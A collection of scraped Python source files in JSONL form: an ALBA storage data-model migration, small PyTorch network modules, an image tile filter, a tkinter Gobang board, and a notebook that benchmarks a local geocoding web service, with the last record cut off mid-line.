+{"seq_id":"26808408671","text":"import logging\nfrom ovs.constants.logging import UPDATE_LOGGER\nfrom ovs.dal.hybrids.backendtype import BackendType\nfrom ovs.dal.lists.backendtypelist import BackendTypeList\nfrom ovs_extensions.packages.packagefactory import PackageFactory\n\n\nclass DALMigrator(object):\n    \"\"\"\n    Handles all model related migrations\n    \"\"\"\n\n    identifier = PackageFactory.COMP_MIGRATION_ALBA\n    _logger = logging.getLogger(UPDATE_LOGGER)\n    THIS_VERSION = 16\n\n    def __init__(self):\n        \"\"\" Init method \"\"\"\n        pass\n\n    @staticmethod\n    def migrate(previous_version):\n        \"\"\"\n        Migrates from a given version to the current version. It uses 'previous_version' to be smart\n        wherever possible, but the code should be able to migrate any version towards the expected version.\n        When this is not possible, the code can set a minimum version and raise when it is not met.\n        :param previous_version: The previous version from which to start the migration\n        :type previous_version: float\n        \"\"\"\n\n        working_version = previous_version\n\n        if working_version == 0:\n            from ovs.dal.hybrids.servicetype import ServiceType\n            # Initial version:\n            # * Add any basic configuration or model entries\n\n            # Add backends\n            for backend_type_info in [('ALBA', 'alba')]:\n                code = backend_type_info[1]\n                backend_type = BackendTypeList.get_backend_type_by_code(code)\n                if backend_type is None:\n                    backend_type = BackendType()\n                backend_type.name = backend_type_info[0]\n                backend_type.code = code\n                backend_type.save()\n\n            # Add service types\n            for service_type_info in [ServiceType.SERVICE_TYPES.NS_MGR,\n                                      ServiceType.SERVICE_TYPES.ALBA_MGR,\n                                      ServiceType.SERVICE_TYPES.ALBA_S3_TRANSACTION]:\n                service_type = ServiceType()\n                service_type.name = service_type_info\n                service_type.save()\n\n        # From here on, all actual migration should happen to get to the expected state for THIS RELEASE\n        elif working_version < DALMigrator.THIS_VERSION:\n            import hashlib\n            from ovs.dal.exceptions import ObjectNotFoundException\n            from ovs.dal.helpers import HybridRunner, Descriptor\n            from ovs.dal.hybrids.albaabmcluster import ABMCluster\n            from ovs.dal.hybrids.albaosd import AlbaOSD\n            from ovs.dal.hybrids.albansmcluster import NSMCluster\n            from ovs.dal.hybrids.j_abmservice import ABMService\n            from ovs.dal.hybrids.j_nsmservice import NSMService\n            from ovs.dal.hybrids.service import Service\n            from ovs.dal.hybrids.servicetype import ServiceType\n            from ovs.dal.lists.albabackendlist import AlbaBackendList\n            from ovs.dal.lists.albanodelist import AlbaNodeList\n            from ovs.dal.lists.servicetypelist import ServiceTypeList\n            from ovs.dal.lists.storagerouterlist import StorageRouterList\n            from ovs.extensions.db.arakooninstaller import ArakoonClusterConfig, ArakoonInstaller\n            from ovs.extensions.generic.configuration import Configuration, NotFoundException\n            from ovs_extensions.generic.toolbox import ExtensionsToolbox\n            from ovs.extensions.plugins.albacli import AlbaCLI\n            from ovs.extensions.storage.persistentfactory import PersistentFactory\n\n            # Migrate unique constraints & indexes\n            client = PersistentFactory.get_client()\n            hybrid_structure = HybridRunner.get_hybrids()\n            for class_descriptor in hybrid_structure.values():\n                cls = Descriptor().load(class_descriptor).get_object()\n                classname = cls.__name__.lower()\n                unique_key = 'ovs_unique_{0}_{{0}}_'.format(classname)\n                index_prefix = 'ovs_index_{0}|{{0}}|'.format(classname)\n                index_key = 'ovs_index_{0}|{{0}}|{{1}}'.format(classname)\n                uniques = []\n                indexes = []\n                # noinspection PyProtectedMember\n                for prop in cls._properties:\n                    if prop.unique is True and len([k for k in client.prefix(unique_key.format(prop.name))]) == 0:\n                        uniques.append(prop.name)\n                    if prop.indexed is True and len([k for k in client.prefix(index_prefix.format(prop.name))]) == 0:\n                        indexes.append(prop.name)\n                if len(uniques) > 0 or len(indexes) > 0:\n                    prefix = 'ovs_data_{0}_'.format(classname)\n                    for key, data in client.prefix_entries(prefix):\n                        for property_name in uniques:\n                            ukey = '{0}{1}'.format(unique_key.format(property_name), hashlib.sha1(str(data[property_name])).hexdigest())\n                            client.set(ukey, key)\n                        for property_name in indexes:\n                            if property_name not in data:\n                                continue  # This is the case when there's a new indexed property added.\n                            ikey = index_key.format(property_name, hashlib.sha1(str(data[property_name])).hexdigest())\n                            index = list(client.get_multi([ikey], must_exist=False))[0]\n                            transaction = client.begin_transaction()\n                            if index is None:\n                                client.assert_value(ikey, None, transaction=transaction)\n                                client.set(ikey, [key], transaction=transaction)\n                            elif key not in index:\n                                client.assert_value(ikey, index[:], transaction=transaction)\n                                client.set(ikey, index + [key], transaction=transaction)\n                            client.apply_transaction(transaction)\n\n            #############################################\n            # Introduction of ABMCluster and NSMCluster #\n            #############################################\n            # Verify presence of unchanged ALBA Backends\n            alba_backends = AlbaBackendList.get_albabackends()\n            changes_required = False\n            for alba_backend in alba_backends:\n                if alba_backend.abm_cluster is None or len(alba_backend.nsm_clusters) == 0:\n                    changes_required = True\n                    break\n\n            if changes_required:\n                # Retrieve ABM and NSM clusters\n                abm_cluster_info = []\n                nsm_cluster_info = []\n                for cluster_name in Configuration.list('/ovs/arakoon'):\n                    try:\n                        metadata = ArakoonInstaller.get_arakoon_metadata_by_cluster_name(cluster_name=cluster_name)\n                        if metadata['cluster_type'] == ServiceType.ARAKOON_CLUSTER_TYPES.ABM:\n                            abm_cluster_info.append(metadata)\n                        elif metadata['cluster_type'] == ServiceType.ARAKOON_CLUSTER_TYPES.NSM:\n                            nsm_cluster_info.append(metadata)\n                    except NotFoundException:\n                        continue\n\n                # Retrieve NSM Arakoon cluster information\n                cluster_arakoon_map = {}\n                for cluster_info in abm_cluster_info + nsm_cluster_info:\n                    cluster_name = cluster_info['cluster_name']\n                    arakoon_config = ArakoonClusterConfig(cluster_id=cluster_name)\n                    cluster_arakoon_map[cluster_name] = arakoon_config.export_dict()\n\n                storagerouter_map = dict((storagerouter.machine_id, storagerouter) for storagerouter in StorageRouterList.get_storagerouters())\n                alba_backend_id_map = dict((alba_backend.alba_id, alba_backend) for alba_backend in alba_backends)\n                for cluster_info in abm_cluster_info:\n                    internal = cluster_info['internal']\n                    cluster_name = cluster_info['cluster_name']\n                    config_location = Configuration.get_configuration_path(key=ArakoonClusterConfig.CONFIG_KEY.format(cluster_name))\n                    try:\n                        alba_id = AlbaCLI.run(command='get-alba-id', config=config_location, named_params={'attempts': 3})['id']\n                        nsm_hosts = AlbaCLI.run(command='list-nsm-hosts', config=config_location, named_params={'attempts': 3})\n                    except RuntimeError:\n                        continue\n\n                    alba_backend = alba_backend_id_map.get(alba_id)\n                    if alba_backend is None:  # ALBA Backend with ID not found in model\n                        continue\n                    if alba_backend.abm_cluster is not None and len(alba_backend.nsm_clusters) > 0:  # Clusters already exist\n                        continue\n\n                    # Create ABM Cluster\n                    if alba_backend.abm_cluster is None:\n                        abm_cluster = ABMCluster()\n                        abm_cluster.name = cluster_name\n                        abm_cluster.alba_backend = alba_backend\n                        abm_cluster.config_location = ArakoonClusterConfig.CONFIG_KEY.format(cluster_name)\n                        abm_cluster.save()\n                    else:\n                        abm_cluster = alba_backend.abm_cluster\n\n                    # Create ABM Services\n                    abm_arakoon_config = cluster_arakoon_map[cluster_name]\n                    abm_arakoon_config.pop('global')\n                    arakoon_nodes = abm_arakoon_config.keys()\n                    if internal is False:\n                        services_to_create = 1\n                    else:\n                        if set(arakoon_nodes).difference(set(storagerouter_map.keys())):\n                            continue\n                        services_to_create = len(arakoon_nodes)\n                    for index in range(services_to_create):\n                        service = Service()\n                        service.name = 'arakoon-{0}-abm'.format(alba_backend.name)\n                        service.type = ServiceTypeList.get_by_name(ServiceType.SERVICE_TYPES.ALBA_MGR)\n                        if internal is True:\n                            arakoon_node_config = abm_arakoon_config[arakoon_nodes[index]]\n                            service.ports = [arakoon_node_config['client_port'], arakoon_node_config['messaging_port']]\n                            service.storagerouter = storagerouter_map[arakoon_nodes[index]]\n                        else:\n                            service.ports = []\n                            service.storagerouter = None\n                        service.save()\n\n                        abm_service = ABMService()\n                        abm_service.service = service\n                        abm_service.abm_cluster = abm_cluster\n                        abm_service.save()\n\n                    # Create NSM Clusters\n                    for cluster_index, nsm_host in enumerate(sorted(nsm_hosts, key=lambda host: ExtensionsToolbox.advanced_sort(host['cluster_id'], '_'))):\n                        nsm_cluster_name = nsm_host['cluster_id']\n                        nsm_arakoon_config = cluster_arakoon_map.get(nsm_cluster_name)\n                        if nsm_arakoon_config is None:\n                            continue\n\n                        number = cluster_index if internal is False else int(nsm_cluster_name.split('_')[-1])\n                        nsm_cluster = NSMCluster()\n                        nsm_cluster.name = nsm_cluster_name\n                        nsm_cluster.number = number\n                        nsm_cluster.alba_backend = alba_backend\n                        nsm_cluster.config_location = ArakoonClusterConfig.CONFIG_KEY.format(nsm_cluster_name)\n                        nsm_cluster.save()\n\n                        # Create NSM Services\n                        nsm_arakoon_config.pop('global')\n                        arakoon_nodes = nsm_arakoon_config.keys()\n                        if internal is False:\n                            services_to_create = 1\n                        else:\n                            if set(arakoon_nodes).difference(set(storagerouter_map.keys())):\n                                continue\n                            services_to_create = len(arakoon_nodes)\n                        for service_index in range(services_to_create):\n                            service = Service()\n                            service.name = 'arakoon-{0}-nsm_{1}'.format(alba_backend.name, number)\n                            service.type = ServiceTypeList.get_by_name(ServiceType.SERVICE_TYPES.NS_MGR)\n                            if internal is True:\n                                arakoon_node_config = nsm_arakoon_config[arakoon_nodes[service_index]]\n                                service.ports = [arakoon_node_config['client_port'], arakoon_node_config['messaging_port']]\n                                service.storagerouter = storagerouter_map[arakoon_nodes[service_index]]\n                            else:\n                                service.ports = []\n                                service.storagerouter = None\n                            service.save()\n\n                            nsm_service = NSMService()\n                            nsm_service.service = service\n                            nsm_service.nsm_cluster = nsm_cluster\n                            nsm_service.save()\n\n            # Clean up all junction services no longer linked to an ALBA Backend\n            all_nsm_services = [service.nsm_service for service in ServiceTypeList.get_by_name(ServiceType.SERVICE_TYPES.NS_MGR).services if service.nsm_service.nsm_cluster is None]\n            all_abm_services = [service.abm_service for service in ServiceTypeList.get_by_name(ServiceType.SERVICE_TYPES.ALBA_MGR).services if service.abm_service.abm_cluster is None]\n            for abm_service in all_abm_services:\n                abm_service.delete()\n                abm_service.service.delete()\n            for nsm_service in all_nsm_services:\n                nsm_service.delete()\n                nsm_service.service.delete()\n\n            ################################\n            # Introduction of Active Drive #\n            ################################\n            # Update slot_id and Alba Node relation for all OSDs\n            client = PersistentFactory.get_client()\n            disk_osd_map = {}\n            for key, data in client.prefix_entries('ovs_data_albaosd_'):\n                alba_disk_guid = data.get('alba_disk', {}).get('guid')\n                if alba_disk_guid is not None:\n                    if alba_disk_guid not in disk_osd_map:\n                        disk_osd_map[alba_disk_guid] = []\n                    disk_osd_map[alba_disk_guid].append(key.replace('ovs_data_albaosd_', ''))\n                try:\n                    value = client.get(key)\n                    value.pop('alba_disk', None)\n                    client.set(key=key, value=value)\n                except Exception:\n                    pass  # We don't care if we would have any leftover AlbaDisk information in _data, but its cleaner not to\n\n            alba_guid_node_map = dict((an.guid, an) for an in AlbaNodeList.get_albanodes())\n            for key, data in client.prefix_entries('ovs_data_albadisk_'):\n                alba_disk_guid = key.replace('ovs_data_albadisk_', '')\n                alba_node_guid = data.get('alba_node', {}).get('guid')\n                if alba_disk_guid in disk_osd_map and alba_node_guid in alba_guid_node_map and len(data.get('aliases', [])) > 0:\n                    slot_id = data['aliases'][0].split('/')[-1]\n                    for osd_guid in disk_osd_map[alba_disk_guid]:\n                        try:\n                            osd = AlbaOSD(osd_guid)\n                        except ObjectNotFoundException:\n                            continue\n                        osd.slot_id = slot_id\n                        osd.alba_node = alba_guid_node_map[alba_node_guid]\n                        osd.save()\n                client.delete(key=key, must_exist=False)\n\n            # Remove unique constraints for AlbaNode IP\n            for key in client.prefix('ovs_unique_albanode_ip_'):\n                client.delete(key=key, must_exist=False)\n\n            # Remove relation for all Alba Disks\n            for key in client.prefix('ovs_reverseindex_albadisk_'):\n                client.delete(key=key, must_exist=False)\n\n            # Remove the relation between AlbaNode and AlbaDisk\n            for key in client.prefix('ovs_reverseindex_albanode_'):\n                if '|disks|' in key:\n                    client.delete(key=key, must_exist=False)\n\n            ###############################\n            # Changes to config managemnt #\n            ###############################\n            \"\"\"\n            This migrate reflects the alba related changes in the config management, where raw is removed as parameter of get and set methods.\n            Instead, files that are to be interpreted as raw need a suffix of either .ini or .raw. Everything else will be default read and\n            interpreted as a JSON file.\n            AlbaBackend objects their abm_cluster and nsm_cluster attributes have such a value, so we update existing AlbaBackends their ABM and nsm\n            cluster DAL values here. The updating of the config paths static templates occurs in the framework update. \n            \"\"\"\n            try:\n                for abe in AlbaBackendList.get_albabackends():\n                    if not abe.abm_cluster.config_location.endswith('.ini'):\n                        abe.abm_cluster.config_location = '{0}.ini'.format(abe.abm_cluster.config_location)\n                        abe.abm_cluster.save()\n\n                    for nsm in abe.nsm_clusters:\n                        if not nsm.config_location.endswith('.ini'):\n                            nsm.config_location = '{0}.ini'.format(nsm.config_location)\n                            nsm.save()\n            except Exception as ex:\n                DALMigrator._logger.info('Unexpected error occurred in updating abm- and nsm clusters config location: {0}'.format(ex))\n\n        return DALMigrator.THIS_VERSION\n","repo_name":"openvstorage/framework-alba-plugin","sub_path":"ovs/dal/migration/albamigrator.py","file_name":"albamigrator.py","file_ext":"py","file_size_in_byte":18418,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"2223244960","text":"from torch import nn\nimport torch.nn.functional as F\nfrom utils.general import prod\nfrom utils.torch_extension import my_bn\nfrom torch import Tensor\nimport math\n\n\nclass MLP(nn.Module):\n    \"\"\"Two-layer fully-connected ELU net with batch norm.\"\"\"\n    def __init__(self, n_in: int, n_hid: int, n_out: int, do_prob: float=0.):\n        \"\"\"\n        Args:\n            n_in: input dimension\n            n_hid: dimension of hidden layers\n            n_out: output dimension\n            do_prob: rate of dropout\n        \"\"\"\n        super(MLP, self).__init__()\n        self.fc1 = nn.Linear(n_in, n_hid)\n        self.fc2 = nn.Linear(n_hid, n_out)\n        self.bn = nn.BatchNorm1d(n_out)\n        self.bn2 = nn.BatchNorm1d(n_hid)\n        self.dropout_prob = do_prob\n        # self.init_weights()\n\n    def init_weights(self):\n        for m in self.modules():\n            if isinstance(m, nn.Linear):\n                nn.init.xavier_normal_(m.weight.data)\n                m.bias.data.fill_(0.1)\n            elif isinstance(m, nn.BatchNorm1d):\n                m.weight.data.fill_(1)\n                m.bias.data.zero_()\n\n    def batch_norm(self, inputs: Tensor) -> Tensor:\n        \"\"\"\n        Batch normzalization for multi-dimensional tensor.\n        \"\"\"\n        x = inputs.view(prod(inputs.shape[:-1]), -1)\n        x = self.bn(x)\n        return x.view(*inputs.shape[:-1], -1)\n\n    def forward(self, inputs: Tensor) -> Tensor:\n        x = F.elu(self.fc1(inputs))\n        x = my_bn(x, self.bn2)\n        x = F.dropout(x, self.dropout_prob, training=self.training)\n        x = F.elu(self.fc2(x))\n        return self.batch_norm(x)\n\n\nclass LinAct(nn.Module):\n    \"\"\"A linear layer with a non-linear activation function.\"\"\"\n    def __init__(self, n_in: int, n_out: int, do_prob: float=0, act=None):\n        \"\"\"\n        Args:\n            n_in: input dimension\n            n_out: output dimension\n            do_prob: rate of dropout\n        \"\"\"\n        super(LinAct, self).__init__()\n        if act == None:\n            act = nn.ReLU()\n        self.model = nn.Sequential(\n            nn.Linear(n_in, n_out),\n            act,\n            nn.Dropout(do_prob)\n        )\n    \n    def forward(self, x: Tensor) -> Tensor:\n        return self.model(x)\n\n\nclass SelfAtt(nn.Module):\n    \"\"\"Self-attention.\"\"\"\n    def __init__(self, n_in: int, n_out: int):\n        \"\"\"\n        Args:\n            n_in: input dimension\n            n_hid: output dimension\n        \"\"\"\n        super(SelfAtt, self).__init__()\n        self.query, self.key, self.value = nn.ModuleList([\n            nn.Sequential(nn.Linear(n_in, n_out), nn.Tanh())\n            for _ in range(3)])\n\n    def forward(self, x: Tensor) -> Tensor:\n        \"\"\"\n        Args:\n            x: [..., size, dim]\n\n        Return:\n            out: [..., size, dim]\n        \"\"\"\n        query = self.query(x)\n        key = self.key(x)\n        value = self.value(x)\n        # scaled dot product\n        alpha = (query @ key.transpose(-1, -2)) / math.sqrt(query.shape[-1])\n        att = alpha.softmax(-1)\n        out = att @ value\n        return out\n","repo_name":"hilbert9221/NRI-MPM","sub_path":"models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3057,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"21"}
+{"seq_id":"39018439633","text":"import numpy as np\nfrom PIL import Image\nimport sys\nfrom os import listdir, sep\nfrom os.path import isfile, join\n\nSAMPLE_DIR=sys.argv[1]\nTHR=0.5\n\n# Remove the / at the end if present\nif SAMPLE_DIR[-1] == sep:\n    SAMPLE_DIR = SAMPLE_DIR[:-1]\n\nSAMPLE_NAME = SAMPLE_DIR.split(sep)[-1]\n\nif \"QuPathProject\" not in SAMPLE_DIR:\n    SAMPLE_DIR = join(SAMPLE_DIR, \"QuPathProject\", \"tiles\", SAMPLE_NAME)\n\n# Get the .png files from the directory\nfiles = [f for f in listdir(SAMPLE_DIR) if f.endswith(\".png\") and isfile(join(SAMPLE_DIR, f))]\n\nOUT_FILE = join(SAMPLE_DIR, \"OK_tiles.txt\")\n\n# Iterate and output which files pass the filter\nwith open(OUT_FILE, 'w') as out_file:\n    for file in files:\n        img = Image.open(join(SAMPLE_DIR, file))\n        ar = np.array(img)\n        if np.sum(ar) >= (ar.size * THR):\n            print(\"{} OK\".format(file))\n            out_file.write(file + \"\\n\")\n        else:\n            print(\"{} NOT OK\".format(file))","repo_name":"iagooteroc/export_tiles","sub_path":"filter_tiles.py","file_name":"filter_tiles.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"43022028421","text":"\"\"\"\nCreating GUIs with tkinter\n- Use canvas to draw\n- handle mouse events\n\nVersion: 0.1\nAuthor: author\nDate: 2018-03-14\n\"\"\"\n\nimport tkinter\n\n\ndef mouse_evt_handler(evt=None):\n    row = round((evt.y - 20) / 40)\n    col = round((evt.x - 20) / 40)\n    pos_x = 40 * col\n    pos_y = 40 * row\n    canvas.create_oval(pos_x, pos_y, 40 + pos_x, 40 + pos_y, fill='black')\n\n\ntop = tkinter.Tk()\n# set window size\ntop.geometry('620x620')\n# set the window title\ntop.title('Gobang')\n# Set the window size to be immutable\ntop.resizable(False, False)\n# Set the window to the top\ntop.wm_attributes('-topmost', 1)\ncanvas = tkinter.Canvas(top, width=600, height=600, bd=0, highlightthickness=0)\ncanvas.bind('<Button-1>', mouse_evt_handler)\ncanvas.create_rectangle(0, 0, 600, 600, fill='yellow', outline='white')\nfor index in range(15):\n    canvas.create_line(20, 20 + 40 * index, 580, 20 + 40 * index, fill='black')\n    canvas.create_line(20 + 40 * index, 20, 20 + 40 * index, 580, fill='black')\ncanvas.create_rectangle(15, 15, 585, 585, outline='black', width=4)\ncanvas.pack()\ntkinter.mainloop()\n\n# Please think about how to encapsulate the above code with object-oriented programming ideas","repo_name":"ag143/python","sub_path":"Python-100-Days-master/Day01-15/code/Day10/gui2.py","file_name":"gui2.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35668254450","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[48]:\n\n\nimport pandas as pd\nimport urllib\n\nimport numpy as np\n\nimport json\n\nfrom tqdm.autonotebook import tqdm\n\n#%matplotlib inline\n\ntqdm.pandas()\n\nimport dask.dataframe as dd\n\nfrom dask.multiprocessing import get\nfrom dask.diagnostics import ProgressBar\n\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\n\nfrom IPython.display import display\n\n\n# In[41]:\n\n\nimport urllib3\n\n\n# In[42]:\n\n\nhttp = urllib3.PoolManager()\n\n\n# In[43]:\n\n\nfrom config_batch import * \n\n\n# # Functions\n\n# In[44]:\n\n\nws_hostname = \"127.0.1.1\"\nws_hostname = \"10.1.0.45\"\n\n# ws_hostname = \"192.168.1.3\"\n\n\n# In[45]:\n\n\ndef call_ws(addr_data, check_result=True, structured_osm=False): #lg = \"en,fr,nl\"\n    t = datetime.now()\n    \n    params = urllib.parse.urlencode({\"street\": addr_data[street_field],\n                                     \"housenumber\": addr_data[housenbr_field],\n                                     \"city\": addr_data[city_field],\n                                     \"postcode\": addr_data[postcode_field],\n                                     \"country\": addr_data[country_field],\n                                     \"check_result\" : \"yes\" if check_result else \"no\",\n                                     \"struct_osm\" : \"yes\" if structured_osm else \"no\"\n                                    })\n    url = f\"http://{ws_hostname}:5000/search/?{params}\"\n    print(url)\n    try:\n        with urllib.request.urlopen(url) as response:\n            res = response.read()\n            res = json.loads(res)\n#             print(res)\n            res[\"time\"] = datetime.now() - t\n            return res\n    except Exception as e:\n        return str(e)\n    \n\n\n# In[16]:\n\n\ndef call_ws_batch(addr_data, mode=\"geo\", with_reject=False, check_result=True, structured_osm=False): #lg = \"en,fr,nl\"\n#     print(addr_data)\n#     print(addr_data.shape)\n#     print()\n    file_data = addr_data.rename(columns = {\n        street_field : \"street\",\n        housenbr_field: \"housenumber\",\n        postcode_field: \"postcode\",\n        city_field: \"city\",\n        country_field: \"country\",\n        addr_key_field : \"addr_key\"\n    }).to_csv(index=False)\n    \n    r = http.request(\n    'POST',\n    f'http://{ws_hostname}:5000/batch',\n    fields= { \n        'media': ('addresses.csv', file_data),\n        'mode': mode,\n        \"with_rejected\" : \"yes\" if with_reject else \"no\",\n        \"check_result\" : \"yes\" if check_result else \"no\",\n        \"struct_osm\" : \"yes\" if structured_osm else \"no\"\n    })\n    \n    try:\n        res = pd.DataFrame(json.loads(r.data.decode('utf-8')))\n    except ValueError:\n        print(\"Cannot decode result:\")\n        print(json.loads(r.data.decode('utf-8')))\n        return \n#     display(res)\n    return res\n\n\n# In[46]:\n\n\ndef expand_json(addresses):\n    addresses[\"status\"]= addresses.json.apply(lambda d: \"error\" if \"error\" in d else \"match\" if \"match\" in d else \"rejected\")\n    addresses[\"time\"]  = addresses.json.apply(lambda d: d[\"time\"])\n\n    addresses[\"timing\"]  = addresses.json.apply(lambda d: d[\"timing\"] if \"timing\" in d else {})\n\n    addresses[\"method\"]= addresses.json.apply(lambda d: d[\"match\"][0][\"method\"] if len(d)>0 and \"match\" in d else \"none\")\n    \n    for field in [\"street\", \"number\", \"postcode\", \"city\"]:\n        addresses[field]= addresses.json.apply(lambda d: d[\"match\"][0][\"addr_out_\"+field] if len(d)>0 and \"match\" in d else \"\")\n    return \n\n\n# # Calls\n\n# ## Single address calls\n\n# In[49]:\n\n\ncall_ws({street_field:   \"Av. Fonsny\", \n         housenbr_field: \"20\",\n         city_field:     \"Saint-Gilles\",\n         postcode_field: \"1060\",\n         country_field:  \"Belgium\"}, check_result=True, structured_osm=False)\n\n\n# In[21]:\n\n\ncall_ws({street_field:   \"\", \n         housenbr_field: \"\",\n         city_field:     \"Dinant\",\n         postcode_field: \"5500\",\n         country_field:  \"Belgium\"}, check_result=True, structured_osm=True)\n\n\n# In[11]:\n\n\ncall_ws({street_field:   \"Fechtergasse\", \n         housenbr_field: \"16/13\",\n         city_field:     \"Wenen\",\n         postcode_field: \"1090\",\n         country_field:  \"Oostenrijk\"}, check_result=False, structured_osm=False)\n\n\n# In[12]:\n\n\ncall_ws({street_field:   \"Fechtergasse 16/13 1090 Wenen\", \n         housenbr_field: \"\",\n         city_field:     \"\",\n         postcode_field: \"\",\n         country_field:  \"Oostenrijk\"}, check_result=False, structured_osm=False)\n\n\n# ## Batch calls (row by row)\n\n# In[38]:\n\n\naddresses = get_addresses(\"address.csv.gz\")\naddresses = addresses.sample(100).copy()\n\n\n# ### Simple way\n\n# In[74]:\n\n\naddresses[\"json\"] = addresses.progress_apply(call_ws, check_result=True, structured_osm=False, axis=1)\n\n\n# ### Using Dask\n\n# In[17]:\n\n\ndd_addresses = dd.from_pandas(addresses, npartitions=4)\n\ndask_task = dd_addresses.apply(call_ws, meta=('x', 'str'), axis=1)\n\nwith ProgressBar(): \n    addresses[\"json\"] = dask_task.compute()\n\n\n# In[26]:\n\n\nexpand_json(addresses)\n\n\n# In[27]:\n\n\naddresses\n\n\n# ## Batch calls (batch WS)\n\n# ### Single block\n\n# In[39]:\n\n\n# Only geocoding\n# addresses[\"StreetFR\"] = \"\"\ncall_ws_batch(addresses, mode=\"geo\", check_result=True, structured_osm=True)\n\n\n# In[62]:\n\n\n# Geocode + address\ncall_ws_batch(addresses, mode=\"short\") \n\n\n# In[63]:\n\n\n# Geocode + address, with rejected addresses\ncall_ws_batch(addresses, mode=\"long\", with_reject=True) \n\n\n# ### Batch blocs\n\n# In[21]:\n\n\ndef call_ws_batch_chunks(addr_data, mode=\"geo\", with_reject=False, check_result=True, structured_osm=False, chunk_size=100): \n    ## TODO : find a better way with dask? It seems that map_partitions does not support function returning dataframes. \n\n    chunks = np.array_split(addr_data, addr_data.shape[0]//chunk_size)\n\n    res= [call_ws_batch(chunk, mode=mode, \n                        check_result=check_result, \n                        structured_osm=structured_osm) for chunk in tqdm(chunks)]\n    df_res = pd.concat(res, sort=False)\n    return df_res\n\n\n# In[ ]:\n\n\ndf_res = call_ws_batch_chunks(addresses, chunk_size=10)\ndf_res\n\n\n# In[1]:\n\n\ndf_res.method.value_counts()\n\n\n# ## Comparing options\n\n# In[19]:\n\n\naddresses = get_addresses(\"address.csv.gz\")\naddresses = addresses[addresses[country_field] == \"Belgique\"]\naddresses = addresses.sample(10000).copy()\n\n\n# In[22]:\n\n\nresults = {}\nit_per_seconds=pd.DataFrame()\n\nfor check_label in [\"check\", \"nocheck\"]:\n    for struct_label in [\"struct\", \"unstruct\" ]:\n        print(check_label, struct_label)\n        start=datetime.now()\n        \n        results[(check_label, struct_label)] = call_ws_batch_chunks(addresses, \n                                                                    mode=\"short\", \n                                                                    check_result   =  check_label == \"check\", \n                                                                    structured_osm =  struct_label == \"struct\")\n        \n        it_per_seconds.loc[check_label, struct_label] = addresses.shape[0] / (datetime.now()-start).total_seconds()\nprint(\"Iterations per seconds:\")\nit_per_seconds\n\n\n# In[23]:\n\n\nprint(\"Match rate\")\npd.DataFrame({k1: {k2: results[(k1,k2)].shape[0]/addresses.shape[0] for k2 in [\"struct\", \"unstruct\"]} \n                  for k1 in  [\"check\",\"nocheck\"]})\n\n\n# In[24]:\n\n\nprint(\"Match rate (without nostreet)\")\npd.DataFrame({k1: {k2: results[(k1,k2)].query(\"method!='nostreet'\").shape[0]/addresses.shape[0] for k2 in [\"struct\", \"unstruct\"]} \n                  for k1 in  [\"check\",\"nocheck\"]})\n\n\n# In[25]:\n\n\nprint(\"Unmatched addresses\")\nfor k1 in results:\n    print(k1)\n    nomatch=addresses[~addresses[addr_key_field].isin(results[k1][\"addr_key\"])]\n    display(nomatch)\n    print(nomatch[country_field].value_counts())\n\n\n# In[26]:\n\n\nvc_values = pd.DataFrame(columns=results.keys(), index=results.keys())\n\nfor k1 in results:\n    vc_values.loc[k1, k1] = results[k1].shape[0]\n    for k2 in results:\n        if k1>k2:\n            r1=results[k1]\n            r2=results[k2]\n            mg = r1[[\"addr_key\", \"place_id\"]].merge(r2[[\"addr_key\", \"place_id\"]], on=\"addr_key\", how=\"outer\", indicator=True)\n \n            vc = mg._merge.value_counts()\n\n            mismatches = mg[mg.place_id_x != mg.place_id_y][[\"addr_key\"]]\n            mismatches = mismatches.merge(addresses.rename({addr_key_field:\"addr_key\"}, axis=1))\n            mismatches = mismatches.merge(r1[[\"addr_key\", \"addr_out_street\", \"addr_out_number\", \"extra_house_nbr\", \"addr_out_postcode\", \"addr_out_city\"]], on=\"addr_key\")\n            mismatches = mismatches.merge(r2[[\"addr_key\", \"addr_out_street\", \"addr_out_number\", \"extra_house_nbr\", \"addr_out_postcode\", \"addr_out_city\"]], on=\"addr_key\")\n            mismatches.columns = pd.MultiIndex.from_arrays([[\"Input\"]*6 + [f\"x:{k1}\"]*5 + [f\"y:{k2}\"]*5, mismatches.columns])\n\n            mismatch_values = mismatches[(mismatches[f\"x:{k1}\"].rename(lambda x: x.replace(\"_x\", \"\"), axis=1).fillna(\"\") != \n                                          mismatches[f\"y:{k2}\"].rename(lambda x: x.replace(\"_y\", \"\"), axis=1).fillna(\"\")).any(axis=1)]\n            \n            mismatch_values_no_nmbr = mismatches[(mismatches[f\"x:{k1}\"].rename(lambda x: x.replace(\"_x\", \"\"), axis=1).drop(\"addr_out_number\", axis=1).fillna(\"\") != \n                                                  mismatches[f\"y:{k2}\"].rename(lambda x: x.replace(\"_y\", \"\"), axis=1).drop(\"addr_out_number\", axis=1).fillna(\"\")).any(axis=1)]\n            \n            \n            vc_label = f\"{vc['both']} ({mismatches.shape[0]} - {mismatch_values.shape[0]} - {mismatch_values_no_nmbr.shape[0]}) / {vc['left_only']} / {vc['right_only']}\"\n            vc_values.loc[k1, k2]=vc_label\n\n                \n            print(f\"{k1} vs {k2}\")\n            print(vc_label)\n            print(\"-----------------------------\")\n            \n            print(f\"Only in {k1}\")\n            display(r1[r1.addr_key.isin(mg[mg._merge==\"left_only\"].addr_key)].merge(addresses.rename({addr_key_field:\"addr_key\"}, axis=1)))\n            \n            print(f\"Only in {k2}\")\n            display(r2[r2.addr_key.isin(mg[mg._merge==\"right_only\"].addr_key)].merge(addresses.rename({addr_key_field:\"addr_key\"}, axis=1)))\n            \n            print(\"Mismatch on place_id\")\n            display(mismatches)\n            \n            print(\"Mismatch on values\")\n            \n            display(mismatch_values)\n            \n            print(\"Mismatch on values (no nbr)\")\n            display(mismatch_values_no_nmbr)\n            \n            print(\"#######################\")\n            \n# display(vc_values.fillna(\"\"))\n\n\n# In[27]:\n\n\nprint(\"Common in both (disagree on place_id - disagree on values - disagree on values, ignoring number) / results only for row / results only for 